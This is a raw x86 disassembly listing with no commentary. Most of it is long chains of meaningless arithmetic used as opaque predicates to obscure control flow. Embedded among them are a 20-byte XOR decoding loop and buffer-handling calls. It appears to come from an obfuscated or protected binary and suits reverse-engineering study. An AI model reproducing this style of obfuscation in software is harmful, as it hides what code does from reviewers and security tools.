or eax, 0xe7de9466
sub eax, 0x4b9d2947
add eax, 0x1bb4124f
sub eax, 0x1321aab7
imul eax, eax, 0x2fc2f03d
or eax, 0xaa240c10
mov ecx, 0xb48f969b
xor edx, edx
div ecx
add eax, 0x51d737f7
xor eax, 0xe14955a2
or eax, 0xfc67e38a
xor eax, 0xcbec6fcd
mov ecx, 0xf5e919aa
xor edx, edx
div ecx
imul eax, eax, 0x566a9ee3
or eax, 0x6395415e
imul eax, eax, 0xffd89fae
xor eax, 0xa8767699
sub eax, 0xf3280f10
xor eax, 0xcfc8bea
or eax, 0xac9cb067
mov ecx, 0x67ab540f
xor edx, edx
div ecx
xor eax, 0xa6bb2215
imul eax, eax, 0x7115677
imul eax, eax, 0xf24f382c
sub eax, 0x67bcdf7c
imul eax, eax, 0x145ce00e
add eax, 0xd6981d96
and eax, 0x6dd8df5b
add eax, 0xafb4b3d0
and eax, 0x7db00986
or eax, 0x709ef7a3
or eax, 0x3799d417
or eax, 0xbf0f8cc1
xor eax, 0xd338874d
or eax, 0xe8c0f7e2
sub eax, 0xef720869
sub eax, 0xf28dced
or eax, 0xbc6bda6b
or eax, 0xc52f08dd
xor eax, 0xf7f2bbd8
mov ecx, 0x5ed94434
xor edx, edx
div ecx
sub eax, 0x48d57458
add eax, 0xac1c4546
add eax, 0x46726b39
or eax, 0xd1c15c28
or eax, 0x80afc0d6
sub eax, 0x228bc32a
and eax, 0x41ea7ec7
imul eax, eax, 0xf72caaf1
mov ecx, 0xe869441f
xor edx, edx
div ecx
mov ecx, 0xa4f71406
xor edx, edx
div ecx
or eax, 0xb3669042
imul eax, eax, 0x4797f76
mov ecx, 0xf13e4704
xor edx, edx
div ecx
mov ecx, 0x17cd52a3
xor edx, edx
div ecx
add eax, 0x3e5a5030
and eax, 0x2c5d5755
add eax, 0x621b03bd
xor eax, 0xf7fd5a47
or eax, 0xf4fd7dd3
imul eax, eax, 0xd53fd295
sub eax, 0x93ac8e36
imul eax, eax, 0x1933b942
sub eax, 0xd9280270
mov ecx, 0x1c190dcd
xor edx, edx
div ecx
xor eax, 0x4e2bf16b
mov ecx, 0x46019dcb
xor edx, edx
div ecx
sub eax, 0x9618ac45
cmp eax, 0x841cf9e4
jae 0x10057eba
mov ecx, dword [esi + 0xfc]
mov eax, dword [0x100c4bc8]
imul eax, dword [0x100c4bcc]
add eax, 0x8b5cf93e
add eax, 0x1e773775
mov edi, 0xa5fca883
xor edx, edx
div edi
imul eax, eax, 0xc8474cba
imul eax, eax, 0x8cddbca0
add eax, 0x35faa52d
xor eax, 0x6c1299f9
sub eax, 0x646ccdac
mov edi, 0xf2c9ea6f
xor edx, edx
div edi
imul eax, eax, 0x2ce6dccf
sub eax, 0x65e1fd8
xor eax, 0x68eb7cc7
and eax, 0xd783542
add eax, 0xda9929f6
imul eax, eax, 0x1ec3b5db
imul eax, eax, 0x5cf9f453
imul eax, eax, 0xcd050909
xor eax, 0xf5091818
or eax, 0x110143f1
or eax, 0x56c58afa
or eax, 0x2a562bb0
mov edi, 0x8dd69266
xor edx, edx
div edi
add eax, 0x3865554c
sub eax, 0xefd2568a
xor eax, 0xdfd388fb
and eax, 0x9f93fdb0
or eax, 0xb5ee0e9f
xor eax, 0x7fa8ab3e
and eax, 0x8e54e605
and eax, 0x1c0f5940
sub eax, 0xcfdad750
xor eax, 0x13758bf3
imul eax, eax, 0x388b2521
or eax, 0x1b5ef091
sub eax, 0xc1eb31fd
add eax, 0xfe5e7595
or eax, 0xab85c542
add eax, 0xe27d4578
and eax, 0x5e09fc8d
add eax, 0xaf55f484
or eax, 0x44622161
xor eax, 0xa76efc4e
add eax, 0xcc299e61
or eax, 0xf3f0716d
or eax, 0xb04caf8c
imul eax, eax, 0xf1784c82
mov edi, 0xa88b19db
xor edx, edx
div edi
mov edi, 0xc1e5effd
xor edx, edx
div edi
add eax, 0xf800df11
add eax, 0x3c291b97
imul eax, eax, 0x51a4d1a8
sub eax, 0xf8e0b1bf
sub eax, 0xbf79c719
sub eax, 0xc3c274e
and eax, 0xb4467393
and eax, 0xcfd76afb
xor eax, 0xff8cd9e7
and eax, 0x6b7340fb
sub eax, 0x6f603b81
sub eax, 0xe7f2d0b4
imul eax, eax, 0xa29e61e1
xor eax, 0x198327d0
add eax, 0xbf369178
and eax, 0x78245d1
imul eax, eax, 0x50de70a8
imul eax, eax, 0xdc08c3c8
and eax, 0x212b10b4
and eax, 0x973c9e4
add eax, 0x3d6b6e3c
imul eax, eax, 0x1402024f
or eax, 0x1f952814
and eax, 0xa0da0e85
cmp dword [ecx], 0x2c
sete cl
mov byte [esi + 0x12], cl
cmp eax, 0x86f2debc
jb 0x10055b44
mov al, byte [esi + 0x12]
test al, 1
jne 0x10055d03
jmp 0x10056081
mov eax, dword [0x100c4bd0]
xor edx, edx
div dword [0x100c4bd4]
sub eax, 0x57ecb4b5
and eax, 0x2ac64d5e
imul eax, eax, 0x98327b3a
and eax, 0x2fd2c220
mov ecx, 0x4028d8cb
xor edx, edx
div ecx
or eax, 0x9ed86096
xor eax, 0xa16514fa
and eax, 0x53285c6c
xor eax, 0xd1c22413
or eax, 0xe36e63cf
mov ecx, 0x41ae4f67
xor edx, edx
div ecx
mov ecx, 0xe32fd4e5
xor edx, edx
div ecx
add eax, 0x913d1a23
mov ecx, 0x50180b6
xor edx, edx
div ecx
and eax, 0x98f9cf1a
sub eax, 0x9b1165de
imul eax, eax, 0x23e32e6
xor eax, 0xe54e09ba
and eax, 0xbdfbe2cb
mov ecx, 0xaae33aa1
xor edx, edx
div ecx
xor eax, 0x4a79b88e
mov ecx, 0x52bcc4f5
xor edx, edx
div ecx
mov ecx, 0xdb677fce
xor edx, edx
div ecx
xor eax, 0xfac3047a
and eax, 0x38b5bc98
add eax, 0x9bf1cf39
xor eax, 0x1cb32ee
and eax, 0x100e4171
xor eax, 0xbf496948
add eax, 0x37a2791c
or eax, 0xd7fb6fae
add eax, 0xfe1fcd66
imul eax, eax, 0xfa3e9e99
add eax, 0xccc4bc2d
xor eax, 0x9689abfe
or eax, 0xb4744f70
imul eax, eax, 0x127654ba
mov ecx, 0x21117f29
xor edx, edx
div ecx
add eax, 0xc9350ce
and eax, 0x1f13bf5b
or eax, 0xe17771d6
or eax, 0x28cb60c8
xor eax, 0xca6605c1
or eax, 0xb2d456b1
imul eax, eax, 0xcb15bb1a
add eax, 0xf92bc3c0
xor eax, 0xaa9a511b
or eax, 0x152d8a59
sub eax, 0xacc73b39
sub eax, 0x90ca5f1c
add eax, 0x8600bf32
mov ecx, 0x8172ec9d
xor edx, edx
div ecx
and eax, 0x785b06dc
and eax, 0x8cf56870
add eax, 0xc17808c7
imul eax, eax, 0xd1b47de1
xor eax, 0x9bc6ad30
add eax, 0x3643da0c
imul eax, eax, 0x975e5431
or eax, 0x9c5ad43b
xor eax, 0x9c6493d6
xor eax, 0x80da38cc
and eax, 0x88cd270f
add eax, 0x8963a5e0
sub eax, 0xfa60420b
add eax, 0xb7feffb5
or eax, 0x983f0ffc
imul eax, eax, 0x85bbfb47
sub eax, 0xc97760da
and eax, 0xd2dc9eaa
and eax, 0xd9217a37
and eax, 0x77f3e5ae
cmp eax, 0xc10a12f6
je 0x10057ebf
mov ecx, dword [esi + 0xf0]
mov eax, dword [0x100c4bd8]
and eax, dword [0x100c4bdc]
mov edi, 0x1e293649
xor edx, edx
div edi
mov edi, 0xd16d19fd
xor edx, edx
div edi
mov edi, 0x7d7ff08f
xor edx, edx
div edi
or eax, 0xa51cc50c
sub eax, 0xce60a883
add eax, 0xd26589ea
xor eax, 0x3c046ae9
add eax, 0x871174e6
mov edi, 0x592fedd7
xor edx, edx
div edi
mov edi, 0x342d1fc0
xor edx, edx
div edi
xor eax, 0xe46df46d
imul eax, eax, 0xe0e23721
sub eax, 0xfb31194b
add eax, 0xc914191c
or eax, 0xf88ef2b7
mov edi, 0xe70dd4e3
xor edx, edx
div edi
or eax, 0xd0fdedd6
imul eax, eax, 0x80798074
or eax, 0xb8ed229a
xor eax, 0x12b9e28d
add eax, 0xc08dfd2d
or eax, 0x42e3b5c7
and eax, 0xf421f795
add eax, 0x95d392fd
mov edi, 0xf207ea09
xor edx, edx
div edi
add eax, 0xfd605685
sub eax, 0x3ae8c3c9
sub eax, 0x80124864
or eax, 0x6881dac5
add eax, 0x9cd0d39f
xor eax, 0x28932681
sub eax, 0xd778e68e
sub eax, 0x8eef9b36
add eax, 0xad2f0b00
sub eax, 0x21e8a3d4
sub eax, 0x4fb0d13e
add eax, 0x6836e123
or eax, 0xdb62bd45
mov edi, 0x5f674da2
xor edx, edx
div edi
and eax, 0xbc20a75c
add eax, 0x188d359b
xor eax, 0x9d161e39
add eax, 0x415845fe
xor eax, 0xc8575959
mov edi, 0x5913e521
xor edx, edx
div edi
sub eax, 0x6401f83a
mov edi, 0xe6f554dc
xor edx, edx
div edi
mov edi, 0xd0cfe9e
xor edx, edx
div edi
imul eax, eax, 0x3d17ed70
xor eax, 0x2765b91b
sub eax, 0xd635f2b7
add eax, 0x5945c0e4
imul eax, eax, 0x76bcc635
and eax, 0xeca32930
imul eax, eax, 0x89e3da7
imul eax, eax, 0x96ebe43
or eax, 0xffa67694
mov edi, 0xbb883761
xor edx, edx
div edi
or eax, 0x42979df6
xor eax, 0xcd8dd709
and eax, 0x74193b4a
sub eax, 0x37c1fa9f
add eax, 0x84373e16
and eax, 0xa229a4a6
mov edi, 0xbd3ae43f
xor edx, edx
div edi
sub eax, 0x7cf3408e
mov edi, 0xd19edf84
xor edx, edx
div edi
mov edi, 0x6c5f9c83
xor edx, edx
div edi
add eax, 0x156bf438
xor eax, 0xd5dead
add eax, 0xadf872c6
imul eax, eax, 0x9c61427a
mov dword [ecx], 0
cmp eax, 0x66769070
je 0x10055eaf
jmp 0x10056081
mov eax, dword [esi + 0xf0]
mov ecx, dword [esi + 0xdc]
mov edx, dword [esi + 0xfc]
mov edi, dword [esi + 0xec]
mov ebx, dword [eax]
movzx edi, byte [edi + ebx]
mov edx, dword [edx]
movsx ebx, byte [ecx + edx]
xor ebx, edi
mov byte [ecx + edx], bl
mov ecx, dword [eax]
add ecx, 1
mov dword [eax], ecx
cmp dword [eax], 0x14
jl 0x100560d8
mov eax, dword [esi + 0xf0]
mov dword [eax], 0
sub esp, 4
mov dword [esp], 0xc
call fcn.10014e20
add esp, 4
mov eax, dword [0x100c4be0]
add eax, dword [0x100c4be4]
and eax, 0x70283855
and eax, 0x1fd2ffb
or eax, 0xd4d38a0d
or eax, 0xa18d66d6
imul eax, eax, 0x6fba0192
or eax, 0x630a3619
or eax, 0xf86da366
imul eax, eax, 0x8c99adcb
sub eax, 0xb80a5609
xor eax, 0x9764b70c
xor eax, 0xc70f679b
sub eax, 0x6ef0a233
add eax, 0x5aadb77a
and eax, 0x27d72bda
imul eax, eax, 0x37ed84dc
xor eax, 0x893dd2c8
imul eax, eax, 0x5d88bb56
and eax, 0x1667ad23
or eax, 0xec0792b8
mov ecx, 0xa7ffaf73
xor edx, edx
div ecx
and eax, 0x5b756b92
and eax, 0x9d64695b
add eax, 0x516fef45
add eax, 0x8b02d6d6
add eax, 0xf0ac37e8
imul eax, eax, 0xe3d1545
sub eax, 0x5189ad7c
xor eax, 0x6cd41b56
xor eax, 0x15c8a72
mov ecx, 0xe5f0dd09
xor edx, edx
div ecx
and eax, 0x2a02e089
imul eax, eax, 0x6c30596d
sub eax, 0xb3d4dabd
add eax, 0xc6e53945
add eax, 0x5b60dbce
imul eax, eax, 0xe9c70524
mov ecx, 0x771e3522
xor edx, edx
div ecx
or eax, 0x73aa08ab
or eax, 0x3d2d7ea7
add eax, 0xf99cada9
add eax, 0x8335f6c
sub eax, 0xb58d8625
sub eax, 0xf78b2428
sub eax, 0x2489dbb5
xor eax, 0xae950839
add eax, 0x9bf36026
mov ecx, 0x5917fbbb
xor edx, edx
div ecx
imul eax, eax, 0x58262f4c
xor eax, 0x6618382d
or eax, 0x73297445
add eax, 0x9136b46e
add eax, 0x86da14ae
mov ecx, 0x7a7ebd17
xor edx, edx
div ecx
and eax, 0x70b6d88
add eax, 0xb6a9f3b1
xor eax, 0x904dfd06
or eax, 0x67a9c320
and eax, 0x8a0228e5
xor eax, 0x2d62e8e7
xor eax, 0xf45a2e1f
sub eax, 0xe1340ee
sub eax, 0xfc9f979f
add eax, 0xb3f5e6ca
mov ecx, 0x8280b543
xor edx, edx
div ecx
imul eax, eax, 0x4dbcd1a4
and eax, 0x9e97b304
mov ecx, 0xb1bddc4d
xor edx, edx
div ecx
or eax, 0x912faa13
mov ecx, 0xbe79563
xor edx, edx
div ecx
add eax, 0x748e8a8b
imul eax, eax, 0x4ed9a376
and eax, 0x9add2275
cmp eax, 0xd5c56a0e
ja 0x10057ed0
mov eax, dword [0x100c4be8]
or eax, dword [0x100c4bec]
sub eax, 0x23f7a723
add eax, 0xcfb50fe4
imul eax, eax, 0x43c25d36
and eax, 0xda7b3ca0
and eax, 0xd7ce3cf1
add eax, 0x4be7ee6c
imul eax, eax, 0xa3d6f442
sub eax, 0x2e74bdd7
or eax, 0x26cd1399
add eax, 0x2793e795
add eax, 0x2a3ba21d
imul eax, eax, 0x1b288192
imul eax, eax, 0x8a8fab6e
and eax, 0x392bf4d4
mov ecx, 0xee351729
xor edx, edx
div ecx
add eax, 0x5604e549
imul eax, eax, 0xd404fc0e
mov ecx, 0xe8fe815d
xor edx, edx
div ecx
add eax, 0xe2d18f86
sub eax, 0x2d242f88
or eax, 0x8c0cc328
or eax, 0xa4b89645
or eax, 0x4e39fbbf
mov ecx, 0x962c09de
xor edx, edx
div ecx
or eax, 0xb9e9360
and eax, 0xe2f9f1f6
add eax, 0xa42b8be8
add eax, 0xcd35f4dc
or eax, 0xa8aac9d3
xor eax, 0xefc24ee3
mov ecx, 0x4d9a5a9f
xor edx, edx
div ecx
and eax, 0xc9bfcbc0
or eax, 0xbcf20270
mov ecx, 0xb9d370cf
xor edx, edx
div ecx
or eax, 0x43fe84c1
xor eax, 0xde98a55a
add eax, 0xaeda9b60
or eax, 0x11dcef70
imul eax, eax, 0x85c0f01
and eax, 0x8812ea48
imul eax, eax, 0x69e1156e
sub eax, 0xddbe9dd4
imul eax, eax, 0xba19d65b
and eax, 0xbbddef1e
and eax, 0x376f15e7
and eax, 0xdb1160f4
or eax, 0x2dac2a19
or eax, 0xb487e74d
xor eax, 0xe88c52c1
and eax, 0xfbcf30c8
mov ecx, 0x578e1c6
xor edx, edx
div ecx
imul eax, eax, 0xa3ebbc96
sub eax, 0x591bf6e4
sub eax, 0xc6de0801
or eax, 0x87724adf
sub eax, 0xe05d028
sub eax, 0xd9b252b1
xor eax, 0xeeacc8b8
add eax, 0x9a5bb813
and eax, 0x6eb41965
sub eax, 0xb601fb6d
add eax, 0x8d0b606f
mov ecx, 0x96e50005
xor edx, edx
div ecx
xor eax, 0xf34821b0
sub eax, 0x3d4ace17
or eax, 0xf9c7d1ee
and eax, 0xa95753f8
mov ecx, 0x84a66431
xor edx, edx
div ecx
xor eax, 0xa9692e18
mov ecx, 0xe966ee64
xor edx, edx
div ecx
xor eax, 0xb471083a
imul eax, eax, 0x3f3724ea
cmp eax, 0xd9872fe7
jbe 0x10056280
jmp 0x10056431
mov eax, dword [0x100c4bf0]
imul eax, dword [0x100c4bf4]
add eax, 0xab53b7c5
or eax, 0x9e537d2f
or eax, 0xde3a60b8
mov ecx, 0x47624a63
xor edx, edx
div ecx
sub eax, 0x3ce92c39
or eax, 0x60237a78
add eax, 0x50938147
and eax, 0xb116029f
imul eax, eax, 0xda3ad1c8
mov ecx, 0x8eadfaaf
xor edx, edx
div ecx
sub eax, 0x2bf7ca77
xor eax, 0x73cdd869
imul eax, eax, 0xc6c3a8b0
add eax, 0x6b348be7
sub eax, 0xa11bfff0
add eax, 0x5a492c6b
imul eax, eax, 0xc64c843d
imul eax, eax, 0xa12e2daf
mov ecx, 0xa8f58b87
xor edx, edx
div ecx
add eax, 0xc572397
xor eax, 0xdac36235
or eax, 0x84076a45
add eax, 0x45a52f03
add eax, 0xf099a516
imul eax, eax, 0xe0828b57
sub eax, 0xac31cfbb
add eax, 0x84c02d64
imul eax, eax, 0xc911e7fb
xor eax, 0x73eacaeb
mov ecx, 0x8c02774e
xor edx, edx
div ecx
or eax, 0x1d42c8be
xor eax, 0x842e1a01
xor eax, 0x5111829d
xor eax, 0x44e239d9
xor eax, 0xdbb0a218
add eax, 0x95f44eb3
add eax, 0x5a3f9810
xor eax, 0x9975d09f
or eax, 0x5ec700b3
sub eax, 0x72237b73
sub eax, 0x7856e405
xor eax, 0x13d5e714
imul eax, eax, 0x1f9c1809
mov ecx, 0xac327729
xor edx, edx
div ecx
mov ecx, 0x15c189e7
xor edx, edx
div ecx
add eax, 0x5e38f542
add eax, 0xd9ff1a51
or eax, 0x9a6ddbf3
and eax, 0x74440111
or eax, 0x3752027f
or eax, 0x4a91dd28
imul eax, eax, 0x196b7d89
mov ecx, 0xfe580224
xor edx, edx
div ecx
imul eax, eax, 0x28ec0f93
sub eax, 0xccc7927e
sub eax, 0xe736d8c6
mov ecx, 0xa318d111
xor edx, edx
div ecx
add eax, 0x1431a1e1
xor eax, 0xe1da887c
or eax, 0xbe8bf865
xor eax, 0x15e14bae
imul eax, eax, 0x3e52ab00
mov ecx, 0xc784909d
xor edx, edx
div ecx
or eax, 0xb2215101
xor eax, 0x7f52bc74
and eax, 0xfe80c6d7
imul eax, eax, 0x60af098a
or eax, 0x672152b4
imul eax, eax, 0xd12fff27
sub eax, 0x1d9bc3f4
add eax, 0x46be517f
imul eax, eax, 0xcbc08719
cmp eax, 0xf980705
jb 0x10057ed5
mov ecx, dword [esi + 0xfc]
mov eax, dword [str.i_z_T]
or eax, dword [0x100c4bfc]
xor eax, 0xc72007d3
or eax, 0x64d8da9f
or eax, 0xb2702b3e
add eax, 0x576a5f7a
xor eax, 0x51fb894b
sub eax, 0xf2c0b5e2
add eax, 0xe6183dc2
imul eax, eax, 0xf67e255a
xor eax, 0x8b5fe419
imul eax, eax, 0xcd248456
sub eax, 0xb0a5e799
xor eax, 0xfb3b8248
or eax, 0x8d9b01e
sub eax, 0xaa3477df
mov edi, 0x72a452f3
xor edx, edx
div edi
mov edi, 0x37b51a41
xor edx, edx
div edi
or eax, 0xa6881317
sub eax, 0x5a0eeecf
xor eax, 0xa8613e0e
mov edi, 0x61321918
xor edx, edx
div edi
add eax, 0x98c6baff
mov edi, 0xa70041da
xor edx, edx
div edi
imul eax, eax, 0x4268ce45
or eax, 0x4815bb5e
sub eax, 0x578e347b
xor eax, 0xfc4eb3d6
xor eax, 0x84a1982e
imul eax, eax, 0x31254f57
sub eax, 0xfebcee6f
or eax, 0x6d83dfe5
sub eax, 0xc767f205
mov edi, 0xe60c88a9
xor edx, edx
div edi
xor eax, 0x2bf9b96e
imul eax, eax, 0xc544a301
mov edi, 0xeb6b05b5
xor edx, edx
div edi
imul eax, eax, 0xe6af4d48
add eax, 0x84a529ae
imul eax, eax, 0xab0156e
and eax, 0x1c6066b3
sub eax, 0xcb14eabe
and eax, 0x4bd87ef4
or eax, 0x2f9237ce
or eax, 0x17fcbe94
add eax, 0xb9a2133f
or eax, 0xf85050e9
and eax, 0x9b5e513c
and eax, 0xe09db9f
xor eax, 0x565bd7e5
imul eax, eax, 0x25b418a1
or eax, 0xc344b5ba
imul eax, eax, 0xf3b9d6b2
mov edi, 0x82cd04ee
xor edx, edx
div edi
add eax, 0x30d721f8
sub eax, 0x5923631c
and eax, 0x91a3e051
imul eax, eax, 0xcce90dae
or eax, 0xf6ce71aa
imul eax, eax, 0xff33a9ad
add eax, 0x9d248eee
and eax, 0x1be3528d
add eax, 0x651ef3ae
sub eax, 0x81e5fb97
imul eax, eax, 0xf183dcd2
sub eax, 0x1920d6b9
add eax, 0xc0c911c5
and eax, 0xcf3e44b8
sub eax, 0x20d0f703
sub eax, 0x8bed0352
sub eax, 0x7b31fcdb
add eax, 0x954d6b9d
and eax, 0xf4769691
mov edi, 0x637d6c36
xor edx, edx
div edi
mov edx, dword [ecx]
add edx, 1
mov dword [ecx], edx
cmp eax, 0x4d547b0e
jae 0x100565e1
jmp 0x100555f6
mov eax, dword [0x100c4c00]
imul eax, dword [0x100c4c04]
and eax, 0x16ccdde4
add eax, 0xff9416ee
and eax, 0xe7ee41db
imul eax, eax, 0x440b726c
xor eax, 0x8467d7ce
sub eax, 0x6a289604
mov ecx, 0x496bb329
xor edx, edx
div ecx
or eax, 0xb1930be1
imul eax, eax, 0x7fb28ef1
xor eax, 0xdbe1ca7f
sub eax, 0xe267d787
mov ecx, 0x31e61037
xor edx, edx
div ecx
imul eax, eax, 0x6eaac80b
mov ecx, 0xdc785cdf
xor edx, edx
div ecx
and eax, 0x1ab5197
or eax, 0xde9c90a7
imul eax, eax, 0x5d4bb3b9
and eax, 0x1407dcae
imul eax, eax, 0x653d54c3
mov ecx, 0x7aa69ac6
xor edx, edx
div ecx
xor eax, 0xaafda24b
mov ecx, 0xb39eeaa7
xor edx, edx
div ecx
imul eax, eax, 0x3ec01784
xor eax, 0xf14497ce
add eax, 0x18fbd112
imul eax, eax, 0x8392d013
imul eax, eax, 0xa3887cb8
mov ecx, 0xfdf3d536
xor edx, edx
div ecx
add eax, 0xbc42e864
xor eax, 0x67467cd0
add eax, 0x4d0316f3
imul eax, eax, 0x55a9fb7e
xor eax, 0x8adb49d3
imul eax, eax, 0xedbd995d
add eax, 0x2fce6aec
mov ecx, 0x266dd5ca
xor edx, edx
div ecx
xor eax, 0x907e3a86
add eax, 0xacd3c7dc
add eax, 0x81830d76
and eax, 0x77a1e23
sub eax, 0x9c47f14c
xor eax, 0xcca5eca7
sub eax, 0x4f356272
mov ecx, 0x86f07502
xor edx, edx
div ecx
add eax, 0x4f5da5ea
or eax, 0xaf252239
or eax, 0x155cff27
mov ecx, 0x353b8cf5
xor edx, edx
div ecx
and eax, 0x607e8bd7
add eax, 0x7c0edabf
add eax, 0xa40dfb2a
mov ecx, 0x1fb1a89e
xor edx, edx
div ecx
or eax, 0x61642895
xor eax, 0xdcd39986
mov ecx, 0x6d814968
xor edx, edx
div ecx
sub eax, 0x11135d0a
or eax, 0xb90492bb
imul eax, eax, 0xc771f282
add eax, 0x77e5d39d
and eax, 0x1d3a64d6
add eax, 0xebed0a22
mov ecx, 0xd83bd835
xor edx, edx
div ecx
xor eax, 0x579c021e
sub eax, 0xf6324e88
xor eax, 0xf4fd230d
and eax, 0x868f0f0c
sub eax, 0x749c9fd
mov ecx, 0x9c4c4d71
xor edx, edx
div ecx
imul eax, eax, 0xf8758993
imul eax, eax, 0xe5120802
or eax, 0x9964d663
add eax, 0x156f34c5
cmp eax, 0x3f07101b
je 0x10057ee7
mov edi, dword [esi + 0xe4]
mov ebx, dword [esi + 0xe8]
mov eax, dword [0x100c4c08]
or eax, dword [0x100c4c0c]
or eax, 0x5c6a004a
mov ecx, 0x94d8c649
xor edx, edx
div ecx
sub eax, 0x76c8493a
xor eax, 0x5c26af8f
imul eax, eax, 0x18a5285
or eax, 0x22c997ec
add eax, 0x591f4891
or eax, 0x14c04902
and eax, 0x83d0d066
xor eax, 0x7450a5ba
mov ecx, 0x496c4617
xor edx, edx
div ecx
mov ecx, 0x5b5e9493
xor edx, edx
div ecx
imul eax, eax, 0xfe7a3def
or eax, 0x64e5d723
sub eax, 0x8c1591f3
xor eax, 0x9d936c
add eax, 0x31a523f9
or eax, 0x75039b17
sub eax, 0xa3949dae
imul eax, eax, 0xa501644e
mov ecx, 0x398828da
xor edx, edx
div ecx
imul eax, eax, 0x74da649a
xor eax, 0xdab55836
imul eax, eax, 0x8abb0f2f
sub eax, 0x9751b097
and eax, 0x9dcc141b
xor eax, 0x4f2d8cfe
add eax, 0x8058429d
sub eax, 0xd052c3a4
and eax, 0xea78a507
and eax, 0x590854d5
imul eax, eax, 0x15458aad
sub eax, 0x94583573
imul eax, eax, 0x16f5d341
xor eax, 0xee89d712
mov ecx, 0xd3f9ec02
xor edx, edx
div ecx
sub eax, 0xf8d33aba
imul eax, eax, 0xd93f5cf7
and eax, 0x103fcb19
or eax, 0x78e01d9d
and eax, 0x7669075c
or eax, 0x9971fc1e
imul eax, eax, 0xe05f2545
add eax, 0xc75f32cf
add eax, 0x81e3885f
or eax, 0x7fee668a
add eax, 0x1a8803ce
xor eax, 0x715239a5
add eax, 0x3447dfc
xor eax, 0x29435c16
sub eax, 0x4f0c954c
or eax, 0x30825a99
or eax, 0xb4888610
mov ecx, 0xdc9e353b
xor edx, edx
div ecx
mov ecx, dword [esi + 0xdc]
mov edx, dword [esi + 0x38]
xor eax, 0x27085c55
xor eax, 0x13c27d3b
imul eax, eax, 0x8264bf31
xor eax, 0xa4157981
add eax, 0x64fd3429
and eax, 0x81255608
add eax, 0xf91dd675
add eax, 0x2a61d172
add eax, 0x6b5bd6e2
imul eax, eax, 0x5f8cfb5e
add eax, 0xd9f54942
sub eax, 0x196b8d2f
and eax, 0x9895ea47
xor eax, 0xf4a6a035
sub eax, 0x84a1b7ae
imul eax, eax, 0xddd3743
sub eax, 0x509154d8
or eax, 0xa37688d6
mov dword [esi + 0xc], eax
mov eax, dword [esi + 0xe0]
mov dword [ebx], 0
mov edx, dword [edx]
mov edx, dword [edx]
add edx, dword [edi]
mov eax, dword [eax]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.1006fef0
mov edx, dword [esi + 0xe0]
mov ecx, dword [esi + 0xe4]
mov eax, dword [esi + 0xdc]
add esp, 0xc
mov edx, dword [edx]
add edx, dword [ecx]
mov dword [ecx], edx
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x1000
call fcn.100709f0
mov eax, dword [esi + 0xc]
add esp, 0xc
cmp eax, 0x26ee708e
jbe 0x10057ee7
jmp 0x10056b81
mov eax, dword [0x100c4c10]
and eax, dword [0x100c4c14]
mov ecx, 0xc400b5da
xor edx, edx
div ecx
mov ecx, 0x18202d42
xor edx, edx
div ecx
sub eax, 0xdb4414df
add eax, 0x8a150ecf
xor eax, 0xa5bec7a3
imul eax, eax, 0xe911e001
sub eax, 0xabc51166
and eax, 0x7e2da337
add eax, 0x79fae059
mov ecx, 0xaef287ae
xor edx, edx
div ecx
and eax, 0x13a62737
or eax, 0xa0dc5d8e
add eax, 0x41f96194
add eax, 0x998432be
add eax, 0x611dc93b
and eax, 0xcc221a14
mov ecx, 0x53d6aa98
xor edx, edx
div ecx
add eax, 0xf020d7a6
imul eax, eax, 0xa6991479
or eax, 0xbd50e521
and eax, 0xae133048
add eax, 0x1cf0e3d9
xor eax, 0xbe783a6c
imul eax, eax, 0x92c9e95c
imul eax, eax, 0x5e2f96f4
xor eax, 0x9c591a77
or eax, 0xefaf8854
sub eax, 0x7f950ca9
sub eax, 0x85f60fe4
mov ecx, 0x792d4352
xor edx, edx
div ecx
imul eax, eax, 0xb22ad62b
add eax, 0xdea7d15e
add eax, 0xcac7e751
and eax, 0x6433016d
xor eax, 0xb8f96c95
or eax, 0x4d8b73b9
mov ecx, 0x7a561636
xor edx, edx
div ecx
mov ecx, 0xbe21c935
xor edx, edx
div ecx
and eax, 0x66e54fd9
sub eax, 0xf0ec5ceb
or eax, 0x5dfe571b
sub eax, 0x503d89f4
mov ecx, 0x77fbd35c
xor edx, edx
div ecx
mov ecx, 0x847cbfe1
xor edx, edx
div ecx
or eax, 0x69f5b8bb
imul eax, eax, 0x9eb3bc57
add eax, 0xd3c8ded
sub eax, 0x23a73895
imul eax, eax, 0x6a89e9df
and eax, 0xc4162240
or eax, 0xd7f76413
mov ecx, 0xb80ee22c
xor edx, edx
div ecx
add eax, 0x4516dd8e
add eax, 0x38d47e96
or eax, 0xf07417ce
sub eax, 0xfc9f68f1
xor eax, 0x23647a9c
sub eax, 0x87012d6c
or eax, 0x8d11c3ba
add eax, 0xf6e735c
mov ecx, 0x81cfbb3a
xor edx, edx
div ecx
imul eax, eax, 0xa17bb036
xor eax, 0x73de0850
xor eax, 0x8799cd81
imul eax, eax, 0xdf49b482
and eax, 0xc48f91aa
sub eax, 0xb42b1e2
xor eax, 0xf1bc967f
mov ecx, 0xf5d3204e
xor edx, edx
div ecx
or eax, 0x1ab5a4a7
mov ecx, 0x6625fcdd
xor edx, edx
div ecx
add eax, 0xf2944954
cmp eax, 0x12345258
je 0x10057f65
mov ecx, dword [esi + 0xe0]
mov eax, dword [0x100c4c18]
xor eax, dword [0x100c4c1c]
and eax, 0x15dcef7a
mov edi, 0x6dd2511
xor edx, edx
div edi
sub eax, 0x9e67bcd
sub eax, 0xfb2dcd1
or eax, 0x1630a40e
xor eax, 0xc18f7b47
and eax, 0xb7cc17ff
mov edi, 0xee782029
xor edx, edx
div edi
imul eax, eax, 0xfbdffedf
sub eax, 0xf59aa0be
or eax, 0x3a91e756
and eax, 0xba2096c9
xor eax, 0x2905b81a
imul eax, eax, 0x93c95ec5
or eax, 0x3784d64a
mov edi, 0xf72dd9ad
xor edx, edx
div edi
sub eax, 0x6db450d
xor eax, 0xca0336a2
xor eax, 0x3ed80867
imul eax, eax, 0xe7ba942f
or eax, 0x9ec7f538
imul eax, eax, 0x7a4a53f7
or eax, 0x60f875fd
imul eax, eax, 0x95e770c8
add eax, 0xe4f05d8b
add eax, 0x6efb9405
xor eax, 0xbdae431d
mov edi, 0xf580a2ed
xor edx, edx
div edi
xor eax, 0x613b0d10
sub eax, 0x453a2ac3
and eax, 0x509327e9
imul eax, eax, 0x6d5da027
or eax, 0x6c8b2bf
imul eax, eax, 0xbeb1b9ea
mov edi, 0xd1fe86cc
xor edx, edx
div edi
xor eax, 0x9df93900
